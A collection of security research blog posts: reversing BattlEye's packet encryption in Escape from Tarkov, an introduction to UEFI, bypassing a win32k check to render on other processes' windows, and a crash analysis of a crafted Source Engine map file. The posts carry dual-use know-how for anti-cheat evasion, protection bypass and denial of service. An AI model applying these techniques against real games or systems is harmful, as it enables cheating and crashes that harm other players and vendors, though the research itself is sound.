Voila! There’s our call into BEClient.EncryptPacket, when you click on that method it’ll take you to the BEClient class, which we can then dissect and find a method called DecryptServerPacket, this method calls into a function in BEClient_x64.dll called pfnDecryptServerPacket that will decrypt the data into a user-allocated buffer and write the size of the decrypted buffer into a pointer supplied by the caller.

pfnDecryptServerPacket is not exported by BattlEye, nor is it calculated by EFT, it’s actually supplied by BattlEye’s initializer once called by the game. We managed to calculate the RVA (Relative Virtual Address) by loading BattlEye into a process of our own, and replicating how the game initializes it.

The code for this program is available here.

Analysis of BattlEye

As we’ve deduced from the last section, EFT calls into BattlEye to do all its cryptography needs. So now it’s a matter of reversing native code rather than IL, which is significantly harder.

BattlEye uses a protector called VMProtect, which virtualizes and mutates segments specified by the developer. To properly reverse a binary protected by this obfuscator, you’ll need to unpack it.

Unpacking is as simple as dumping the image at runtime; we did this by loading it into a local process then using Scylla to dump it’s memory to disk.

Opening this file in IDA, then going to the DecryptServerPacket routine will lead us to a function that looks like this:

This is what’s called a vmentry, which pushes a vmkey on the stack then calls into a vminit which is the handler for the virtual machine.

Here is the tricky part: the instructions in this function are only understandable by the program itself due to them being “virtualized” by VMProtect.

Luckily for us, fellow Secret Club member can1357 made a tool that completely breaks this protection, which you can find at VTIL.

Figuring the algorithm

The file produced by VTIL reduced the function from 12195 instructions down to 265, which simplified the project massively. Some VMProtect routines were present in the disassembly, but these are easily recognized and can be ignored, the encryption begins from here:

Equivalent in pseudo-C:

uint32_t flag_check = *(uint32_t*)(image_base + 0x4f8ac);

if (flag_check != 0x1b)
	goto 0x20e445;
else
	goto 0x20e52b;

VTIL uses its own instruction set, I translated this to psuedo-C to simplify it further.

We analyze this routine by going into 0x20e445, which is a jump to 0x1a0a4a, at the very start of this function they move sr12 which is a copy of rcx (the first argument on the default x64 calling convention), and store it on the stack at [rsp+0x68], and the xor key at [rsp+0x58].

This routine then jumps to 0x1196fd, which is:

Equivalent in pseudo-C:

uint32_t xor_key_1 = *(uint32_t*)(packet_data + 3) ^ xor_key;
(void(*)(uint8_t*, size_t, uint32_t))(0x3dccb7)(packet_data, packet_len, xor_key_1);

Note that rsi is rcx, and sr47 is a copy of rdx. Since this is x64, they are calling 0x3dccb7 with arguments in this order: (rcx, rdx, r8). Lucky for us vxcallq in VTIL means call into function, pause virtual exectuion then return into virtual machine, so 0x3dccb7 is not a virtualized function!

Going into that function in IDA and pressing F5 will bring up pseudo-code generated by the decompiler:

This code looks incomprehensible with some random inlined assembly that has no meaning at all. Once we nop these instructions out, change some var types, then hit F5 again the code starts to look much better:

This function decrypts the packet in 4-byte blocks non-contiguously starting from the 8th byte using a rolling XOR key.

Once we continue looking at the assembly we figure that it calls into another routine here:

Equivalent in x64 assembly:

mov t225, dword ptr [rsi+0x3]
mov t231, byte ptr [rbx]
add t231, 0xff ; uhoh, overflow

; the following is psuedo
mov [$flags], t231 u< rbx:8

not t231

movsx t230, t231
mov [$flags+6], t230 == 0
mov [$flags+7], t230 < 0

movsx t234, rbx
mov [$flags+11], t234 < 0
mov t236, t234 < 1
mov t235, [$flags+11] != t236

and [$flags+11], t235

mov rdx, sr46 ; sr46=rdx
mov r9, r8

sbb eax, eax ; this will result in the CF (carry flag) being written to EAX

mov r8, t225
mov t244, rax
and t244, 0x11 ; the value of t244 will be determined by the sbb from above, it'll be either -1 or 0 
shr r8, t244 ; if the value of this shift is a 0, that means nothing will happen to the data, otherwise it'll shift it to the right by 0x11

mov rcx, rsi
mov [rsp+0x20], r9
mov [rsp+0x28], [rsp+0x68]

call 0x3dce60

Before we continue dissecting the function it calls, we have to come to the conclusion that the shift is meaningless due to the carry flag not being set, resulting in a 0 return value from the sbb instruction, which means we’re on the wrong path.

If we look for references to the first routine 0x1196fd, we’ll see that it’s actually referenced again, this time with a different key!

That means the first key was actually a red herring, and the second key is most likely the correct one. Nice one Bastian!

Now that we’ve figured out the real xor key and the arguments to 0x3dce60, which are in the order: (rcx, rdx, r8, r9, rsp+0x20, rsp+0x28).

We go to that function in IDA, hit F5 and it’s very readable:

We know the order of the arguments, their type and their meaning, the only thing left is to translate this to actual code, which we’ve done nicely and wrapped into a gist available here.

Synopsis

This encryption wasn’t the hardest to reverse engineer, and our efforts were certainly noticed by BattlEye; after 3 days, the encryption was changed to a TLS-like model, where RSA is used to securely exchange AES keys. This makes MITM without reading process memory by all intents and purposes infeasible.

Introduction to UEFI: Part 1

26 May 2020 at 23:00

Hello, and welcome to our first article on the site! Today we will be diving into UEFI. We are aiming to provide beginners a brief first look at a few topics, including:

  1. What is UEFI?
  2. Why develop UEFI software?
  3. UEFI boot phases
  4. Getting started with developing UEFI software

What is UEFI?

Unified Extensible Firmware Interface (UEFI) is an interface that acts as the “middle-man” between the operating system and the platform firmware during the start-up process of the system. It is the successor to the BIOS and provides us with a modern alternative to the restrictive system that preceded it. The UEFI specification allows for many new features including:

  • Graphical User Interface (GUI) with mouse support
  • Support for GPT drives (including 2TB or greater drives, and more than 4 primary partitions)
  • Faster booting (depending on OS support)
  • Simplified ACPI access for power management features
  • Simplified software development compared to the arcane BIOS

As you can see, there are many compelling reasons for using UEFI over the legacy BIOS nowadays.

Why develop UEFI software?

There are many reasons as to why one would want to develop UEFI software, and today we will be mentioning a few of those reasons to hopefully inspire some of you to attempt to develop or further your knowledge in this subject.

1) Control over the boot process

One very big use case for UEFI is a boot manager such as GRUB. GRUB (GRand Unified Bootloader) is a multi-boot loader that allows a user to select the operating system they wish to boot into, whilst handling the process of selecting which OS or kernel needs to be loaded into memory. It will then transfer control to the respective OS. This is a very helpful tool, and makes use of UEFI to remove the need for manual interaction in the loading of alternative OS’s.

2) Modification of OS kernel initialization

Sometimes one may want to redirect certain OS kernel initialization procedures or even fully prevent them from running. This is not possible to do with a boot-time driver. Why is this the case? Well, a large part of kernel initialization happens before any drivers are loaded, so any modifications will not be possible after this point in the presence of Kernel Patch Protection (PatchGuard). Another reason is the issue of Driver Signature Enforcement (DSE): Microsoft requires that loaded drivers on Windows must be signed with a valid kernel mode signing certificate, unless test signing mode is enabled.

An example of a UEFI project that modifies Windows kernel initialization procedures is EfiGuard. This UEFI driver patches certain parts of the Windows boot loader and kernel at boot time, and can effectively disable PatchGuard and optionally DSE.

3) Develop low level system knowledge

Another reason for developing UEFI software could be to increase your understanding of the system at a low level. Being able to follow the initialization process of the system allows for a much more in-depth look at how operating systems themselves work. Additionally, the ability to build OS independent drivers, as well as work with a sophisticated toolset giving you full control over a system is something that may be of interest to many people.

UEFI boot phases

UEFI has six main boot phases, which are all critical in the initialization process of the platform. The combined phases are referred to as the Platform Initialization or PI. Hopefully the brief descriptions of each stage below will give you a basic understanding of this process. Our series will focus primarily on the DXE and RT phases, as these are probably the two main areas of interest for people getting started with UEFI.

Security (SEC)

This phase is the primary stage of the UEFI boot process, and will generally be used to: initialize a temporary memory store, act as the root of trust in the system and provide information to the Pre-EFI core phase. This root of trust is a mechanism that ensures any code that is executed in the PI is cryptographically validated (digitally signed), creating a “secure boot” environment.

Pre-EFI Initialization (PEI)

This is the second stage of the boot process and involves using only the CPU’s current resources to dispatch Pre-EFI Initialization Modules (PEIMs). These are used to perform initialization of specific boot-critical operations such as memory initialization, whilst also allowing control to pass to the Driver Execution Environment (DXE).

Driver Execution Environment (DXE)

The DXE phase is where the majority of the system initialization occurs. In the PEI stage, the memory required for the DXE to operate is allocated and initialized, and upon control being passed to the DXE, the DXE Dispatcher is then invoked. The dispatcher will perform the loading and execution of hardware drivers, runtime services, and any boot services required for the operating system to start.

Boot Device Selection (BDS)

Upon completion of the DXE Dispatcher executing all DXE drivers, control is passed to the BDS. This stage is responsible for initializing console devices and any remaining devices that are required. The selected boot entry is then loaded and executed in preparation for the Transient System Load (TSL).

Transient System Load (TSL)

In this phase, the PI process is now directly between the boot selection and the expected hand-off to the main operating system phase. Here, an application such as the UEFI shell may be invoked, or (more commonly) a boot loader will run in order to prepare the final OS environment. The boot loader is usually responsible for terminating the UEFI Boot Services via the ExitBootServices() call. However, it is also possible for the OS itself to do this, such as the Linux kernel with CONFIG_EFI_STUB.

Runtime (RT)

The final phase is the runtime one. Here is where the final handoff to the OS occurs. The UEFI compatible OS now takes over the system. The UEFI runtime services remain available for the OS to use, such as for querying and writing variables from NVRAM.

The SMM (System Management Mode) exists separately from the runtime phase and may also be entered during this phase when an SMI is dispatched. We will not be covering the SMM in this introduction.

Getting started with developing UEFI software

In this section we will be providing you with a list of the most essential tools to help you begin your development journey with UEFI. When it comes to the question of “where to begin?”, there aren’t many resources easily accessible, so here is a shortlist of the development tools we recommend:

- EDK2

First and foremost is the EDK2 project, which is described as “a modern, feature-rich, cross-platform firmware development environment for the UEFI and PI specifications from [www.uefi.org.]” The EDK2 project is developed and maintained (together with community volunteers) by many of the same parties that contribute to the UEFI specification.

This is extremely helpful as EDK2 is guaranteed to contain the latest UEFI protocols (assuming you are using the master branch). In addition to this, there are countless high-quality projects for you to use as a guide. One example is the Open Virtual Machine Firmware (OVMF). This is a project that is aimed at providing UEFI support for virtual machines and it is very well documented.

One major downside to EDK2 is the process of setting up the build environment for the first time - it is a long and arduous process, and even with their Getting started with EDK2 guide to make it as simple as possible, it can still be confusing for newcomers.

- VisualUefi

The VisualUefi project is aimed at allowing EDK2 development inside Visual Studio. We would recommend you to begin your development by using the build tools from EDK2 command line over this project, to allow you to become comfortable with the platform.

Furthermore, VisualUefi offers headers and libraries that are a subset of the complete EDK2 libraries, and so you may find that not everything you require is easily accessible. It is, however, much easier to set up in comparison to EDK2, and is therefore often favored by avid Visual Studio users.

- Debugging

In regards to debugging, there are a few options available to you, each with their pros and cons. These will be listed below, and it is up to you which you favor the most. In part 2 of this series we will be showing you how to debug an example driver, so until then you may want to install all of these (or none!) to help you make an informed decision:

  1. QEMU - a multiplatform emulator (though best on Linux) that provides the best debugging facilities due to being an emulator rather than a VM. It is quite complex to set up, and concerning its counterparts, it is also quite slow.
  2. VirtualBox - a good multiplatform solution, with the exception of it suffering from memory loss due to pretty lackluster non-volatile RAM (NVRAM) emulation.
  3. VMware - offers good performance with correctly working NVRAM emulation. If the guest and host are both Windows, it works very well with WinDbg for debugging the TSL and RT phases.

Final words

In this article we have covered a couple of different introductory topics to help you get a basic understanding of what UEFI is. We would expect you to hopefully have some extra questions regarding this topic, and we are more than happy to answer them for you. Part 2 of this series will be more technical, however it will be explained thoroughly to the best of our abilities to make it as simple to follow as possible. We will be providing code for a simple DXE driver built with EDK2, and will show examples of basic console input and output, writing to a serial port, and debugging the driver with QEMU.

Thank you very much for reading this far, and we look forward to continuing this series in the coming weeks!

Abusing DComposition to render on external windows

By: yousif
12 May 2020 at 23:00

In 2012, Microsoft introduced “DirectComposition”, a technology that helps improve performance for bitmap drawings & compositions tremendously, the way it works is that it utilizes the graphics hardware to compose & render objects, which means that it’ll run independently, aside from the main UI thread.

It can therefore be deduced that there must be a layer of interaction, or a method to apply the composition onto the desired window, or target, abusing this layer of interaction is the main target of today’s article.

The layer of interaction that DirectCompositions use, are objects called “targets” & “visuals”, every IDCompositionTarget will be created by a respective API function that depends on a window handle, and every target will depend on a IDCompositionVisual which contains the visual content represented on the screen.

If you think that you can easily just create a window, then compose on-top of another window from a non-owning process, then you’re wrong. This will cause an error, and the composition won’t be created.

Reversal

Opening up win32kfull, which is the kernel-mode component for DWM, GDI & other windows features then searching for “DComposition” will yield multiple results:

The one we’re interested in is NtUserCreateDCompositionHwndTarget, according to it’s prototype: __int64 (HWND a1, int a2, _QWORD *a3), we can induce that this is simply just IDCompositionDevice::CreateTargetForHwnd, and the parameters are: (HWND hwnd, BOOL topmost, IDCompositionTarget** target).

At the very start of this function there’s a test that checks whether you can create a target for this composition or not:

last_status = TestWindowForCompositionTarget(window_handle, top_most);

This is a simplified form of that function:

NTSTATUS TestWindowForCompositionTarget(HWND window_handle, BOOL top_most)
{	
	tagWND* window_instance = ValidateHwnd(window_handle);
	
	if (!window_instance 
		|| !window_instance->thread_info)
		return STATUS_INVALID_PARAMETER;
		
	// some checks here to verify that DCompositions are supported, and available
	
	PEPROCESS calling_process = IoGetCurrentProcess();
	PEPROCESS owning_process = PsGetThreadProcess(window_instance->thread_info->owning_thread); // tagWnd*->tagTHREADINFO*->KTHREAD*
	
	if (calling_process != owning_process)
		return STATUS_ACCESS_DENIED;
	
	CHwndTargetProp target_properties{};
	
	if (CWindowProp::GetProp<CHwndTargetProp>(window_instance, &target_properties))
	{
		bool unk_error = false;
		
		if (top_most)
			unk_error = !(target_properties.top_most_handle == nullptr);
		else
			unk_error = !(target_properties.active_bg_handle == nullptr);
		
		if (unk_error)
			return (NTSTATUS)0x803e0006; // unique error code, i don't know what it's supposed to resemble
	}
	
	return STATUS_SUCCESS;
}

The check causing failures is if (calling_process != owning_process), this compares the caller’s process to the window’s owner process, and if this check fails they return a STATUS_ACCESS_DENIED error.

They retrieve the window’s owner process by calling ValidateHwnd, which is a function used everywhere in win32k:

This function will return a pointer to a struct of type tagWND, then access a member of type tagTHREADINFO at +0x10 (window_instance->thread_info), then access the actual thread pointer at +0x0 (thread_info->owning_thread).

One way to circumvent these checks is to swap the owning thread of the process’ window to our window temporarily, compose our target on it then swap it back very quickly, which is what the PoC is based on.

Proof Of Concept

I’ve made a PoC, that’ll hijack a window by it’s class name, then render a rectangle at it’s center. you can access the code here.

Source Engine Memory Corruption via LUMP_PAKFILE

By: impost0r
5 May 2020 at 23:00

A month or so ago I dropped a Source engine zero-day on Twitter without much explanation of what it does. After determining that it’s unfortunately not exploitable, we’ll be exploring it, and the mess that is Valve’s Source Engine.

History

Valve’s Source Engine was released initially on June 2004, with the first game utilizing the engine being Counter-Strike: Source, which was released itself on November 1, 2004 - 15 or so years ago. Despite being touted as a “complete rewrite” Source still inherits code from GoldSrc and it’s parent, the Quake Engine. Alongside the possibility of grandfathering in bugs from GoldSrc and Quake (GoldSrc itself a victim of this), Valve’s security model for the engine is… non-existent. Valve not yet being the powerhouse they are today, but we’re left with numerous stupid fucking mistakes, dude, including designing your own memory allocator (or rather, making a wrapper around malloc.).

Of note - it’s relatively common for games to develop their own allocator, but from a security perspective it’s still not the greatest.

The Bug

The byte at offset A47B98 in the .bsp file I released and the following three bytes (\x90\x90\x90\x90), parsed as UInt32, controls how much memory is allocated as the .bsp is being loaded, namely in CS:GO (though also affecting CS:S, TF2, and L4D2). That’s the short of it.

To understand more, we’re going to have to delve deeper. Recently the source code for CS:GO circa 2017’s Operation Hydra was released - this will be our main tool.

Let’s start with WinDBG. csgo.exe loaded with the arguments -safe -novid -nosound +map exploit.bsp, we hit our first chance exception at “Host_NewGame”.

---- Host_NewGame ----
(311c.4ab0): Break instruction exception - code 80000003 (first chance)
*** WARNING: Unable to verify checksum for C:\Users\triaz\Desktop\game\bin\tier0.dll
eax=00000001 ebx=00000000 ecx=7b324750 edx=00000000 esi=90909090 edi=7b324750
eip=7b2dd35c esp=012fcd68 ebp=012fce6c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c:
7b2dd35c cc              int     3

On the register $esi we can see the four responsible bytes, and if we peek at the stack pointer –

Full stack trace removed for succinctness.

              
00 012fce6c 7b2dac51 90909090 90909090 012fd0c0 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c [cstrike15_src\tier0\memstd.cpp @ 2880] 
01 (Inline) -------- -------- -------- -------- tier0!CStdMemAlloc::InternalAlloc+0x12c [cstrike15_src\tier0\memstd.cpp @ 2043] 
02 012fce84 77643546 00000000 00000000 00000000 tier0!CStdMemAlloc::Alloc+0x131 [cstrike15_src\tier0\memstd.cpp @ 2237] 
03 (Inline) -------- -------- -------- -------- filesystem_stdio!IMemAlloc::IndirectAlloc+0x8 [cstrike15_src\public\tier0\memalloc.h @ 135] 
04 (Inline) -------- -------- -------- -------- filesystem_stdio!MemAlloc_Alloc+0xd [cstrike15_src\public\tier0\memalloc.h @ 258] 
05 (Inline) -------- -------- -------- -------- filesystem_stdio!CUtlMemory<unsigned char,int>::Init+0x44 [cstrike15_src\public\tier1\utlmemory.h @ 502] 
06 012fce98 7762c6ee 00000000 90909090 00000000 filesystem_stdio!CUtlBuffer::CUtlBuffer+0x66 [cstrike15_src\tier1\utlbuffer.cpp @ 201]

Or, in a more succinct form -

0:000> dds esp
012fcd68  90909090

The bytes of $esi are directly on the stack pointer (duh). A wonderful start. Keep in mind that module - filesystem_stdio — it’ll be important later. If we continue debugging —

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

And there we see it - the memory allocator has tried to allocate 0x90909090, as UInt32. Now while I simply used HxD to validate this, the following Python 2.7 one-liner should also function.

print int('0x90909090', 0)

(For Python 3, you’ll have to encapsulate everything from int onward in that line in another set of parentheses. RTFM.)

Which will return 2425393296, the value Source’s spaghetti code tried to allocate. (It seems, internally, Python’s int handles integers much the same way as ctypes.c_uint32 - for simplicity’s sake, we used int, but you can easily import ctypes and replicate the finding. Might want to do it with 2.7, as 3 handles some things oddly with characters, bytes, etc.)

So let’s delve a bit deeper, shall we? We would be using macOS for the next part, love it or hate it, as everyone who writes cross-platform code for the platform (and Darwin in general) seems to forget that stripping binaries is a thing - we don’t have symbols for NT, so macOS should be a viable substitute - but hey, we have the damn source code, so we can do this on Windows.

Minimization

One important thing to do before we go fully into exploitation is minimize the bug. The bug is a derivative of one found with a wrapper around zzuf, that was re-found with CERT’s BFF tool. If we look at the differences between our original map (cs_assault) and ours, we can see the differences are numerous.

Diff between files

Minimization was done manually in this case, using BSPInfo and extracting and comparing the lumps. As expected, the key error was in lump 40 - LUMP_PAKFILE. This lump is essentially a large .zip file. We can use 010 Editor’s ZIP file template to examine it.

Symbols and Source (Code)

The behavior between the Steam release and the leaked source will differ significantly.

No bug will function in a completely identical way across platforms. Assuming your goal is to weaponize this, or even get the maximum payout from Valve on H1, your main target should be Win32 - though other platforms are a viable substitute. Linux has some great tooling available and Valve regularly forgets strip is a thing on macOS (so do many other developers).

We can look at the stack trace provided by WinDBG to ascertain what’s going on.

WinDBG Stack Trace

Starting from frame 8, we’ll walk through what’s happening.

The first line of each snippet will denote where WinDBG decides the problem is.

		if ( pf->Prepare( packfile->filelen, packfile->fileofs ) )
		{
			int nIndex;
			if ( addType == PATH_ADD_TO_TAIL )
			{
				nIndex = m_SearchPaths.AddToTail();	
			}
			else
			{
				nIndex = m_SearchPaths.AddToHead();	
			}

			CSearchPath *sp = &m_SearchPaths[ nIndex ];

			sp->SetPackFile( pf );
			sp->m_storeId = g_iNextSearchPathID++;
			sp->SetPath( g_PathIDTable.AddString( newPath ) );
			sp->m_pPathIDInfo = FindOrAddPathIDInfo( g_PathIDTable.AddString( pPathID ), -1 );

			if ( IsDvdDevPathString( newPath ) )
			{
				sp->m_bIsDvdDevPath = true;
			}

			pf->SetPath( sp->GetPath() );
			pf->m_lPackFileTime = GetFileTime( newPath );

			Trace_FClose( pf->m_hPackFileHandleFS );
			pf->m_hPackFileHandleFS = NULL;

			//pf->m_PackFileID = m_FileTracker2.NotePackFileOpened( pPath, pPathID, packfile->filelen );
			m_ZipFiles.AddToTail( pf );
		}
		else
		{
			delete pf;
		}
	}
}

It’s worth noting that you’re reading this correctly - LUMP_PAKFILE is simply an embedded ZIP file. There’s nothing too much of consequence here - just pointing out m_ZipFiles does indeed refer to the familiar archival format.

Frame 7 is where we start to see what’s going on.

	zipDirBuff.EnsureCapacity( rec.centralDirectorySize );
	zipDirBuff.ActivateByteSwapping( IsX360() || IsPS3() );
	ReadFromPack( -1, zipDirBuff.Base(), -1, rec.centralDirectorySize, rec.startOfCentralDirOffset );
	zipDirBuff.SeekPut( CUtlBuffer::SEEK_HEAD, rec.centralDirectorySize );

If one is to open LUMP_PAKFILE in 010 Editor and parse the file as a ZIP file, you’ll see the following.

010 Editor viewing LUMP_PAKFILE as Zipfile

elDirectorySize is our rec.centralDirectorySize, in this case. Skipping forward a frame, we can see the following.

Commented out lines highlight lines of interest.

CUtlBuffer::CUtlBuffer( int growSize, int initSize, int nFlags ) : 
	m_Error(0)
{
	MEM_ALLOC_CREDIT();
	m_Memory.Init( growSize, initSize );
	m_Get = 0;
	m_Put = 0;
	m_nTab = 0;
	m_nOffset = 0;
	m_Flags = nFlags;
	if ( (initSize != 0) && !IsReadOnly() )
	{
		m_nMaxPut = -1;
		AddNullTermination( m_Put );
	}
	else
	{
		m_nMaxPut = 0;
	}
	...

followed by the next frame,

template< class T, class I >
void CUtlMemory<T,I>::Init( int nGrowSize /*= 0*/, int nInitSize /*= 0*/ )
{
	Purge();

	m_nGrowSize = nGrowSize;
	m_nAllocationCount = nInitSize;
	ValidateGrowSize();
	Assert( nGrowSize >= 0 );
	if (m_nAllocationCount)
	{
		UTLMEMORY_TRACK_ALLOC();
		MEM_ALLOC_CREDIT_CLASS();
		m_pMemory = (T*)malloc( m_nAllocationCount * sizeof(T) );
	}
}

and finally,

inline void *MemAlloc_Alloc( size_t nSize )
{ 
	return g_pMemAlloc->IndirectAlloc( nSize );
}

where nSize is the value we control, or $esi. Keep in mind, this is all before the actual segfault and $eip corruption. Skipping ahead to that –

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

We’re brought to the same familiar fault. Of note is that $eax and $eip are the same value, and consistent throughout runs. If we look at the stack trace WinDBG provides, we see much of the same.

WinDBG Stack Trace

Picking apart the locals from CZipPackFile::Prepare, we can see the values on $eip and $eax repeated a few times. Namely, the tuple m_PutOverflowFunc.

m_PutOverflowFunc

So we’re able to corrupt this variable and as such, control $eax and $eip - but not to any useful extent, unfortunately. These values more or less seem arbitrary based on game version and map data. What we have, essentially - is a malloc with the value of nSize (0x90909090) with full control over the variable nSize. However, it doesn’t check if it returns a valid pointer – so the game just segfaults as we’re attempting to allocate 2 GB of memory (and returning zero.) In the end, we have a novel denial of service that does result in “control” of the instruction pointer - though not to an extent that we can pop a shell, calc, or do anything fun with it.

Thanks to mev for phrasing this better than I could.

I’d like to thank mev, another one of our members, for assisting with this writeup, alongside paracord and vmcall.

❌
❌